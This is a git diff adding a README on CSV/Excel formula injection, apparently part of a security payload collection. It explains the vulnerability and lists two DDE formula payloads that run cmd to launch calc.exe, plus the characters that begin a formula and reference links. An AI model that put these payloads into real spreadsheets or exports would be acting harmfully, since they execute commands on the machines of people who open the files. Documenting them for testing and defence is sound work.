Fix in juggling type + CSV injection

CSV injection/README.md

@@ -1,12 +1,29 @@
-# Title
-Lorem	
+# CSV Excel formula injection
+Many web applications allow the user to download content such as templates for invoices or user settings to a CSV file. Many users choose to open the CSV file in either Excel,Libre Office or Open Office. When a web application does not properly validate the contents of the CSV file, it could lead to contents of a cell or many cells being executed.	
 
-## Vuln
+## Exploit
+
+Basic exploit with Dynamic Data Exchange 
+```
+DDE ("cmd";"/C calc";"!A0")A0
+@SUM(1+1)*cmd|' /C calc'!A0
+
+Technical Details of the above payload:
+cmd is the name the server can respond to whenever a client is trying to access the server
+/C calc is the file name which in our case is the calc(i.e the calc.exe)
+!A0 is the item name that specifies unit of data that a server can respond when the client is requesting the data
 
 ```
-Code
+
+Any formula can be started with
+```
+=
++
+–
+@
 ```
 
 ## Thanks to
-* Lorem
-* Ipsum
+* https://owasp.org/index.php/CSV_Excel_Macro_Injection
+* https://sites.google.com/site/bughunteruniversity/nonvuln/csv-excel-formula-injection
+*https://www.contextis.com/resources/blog/comma-separated-vulnerabilities/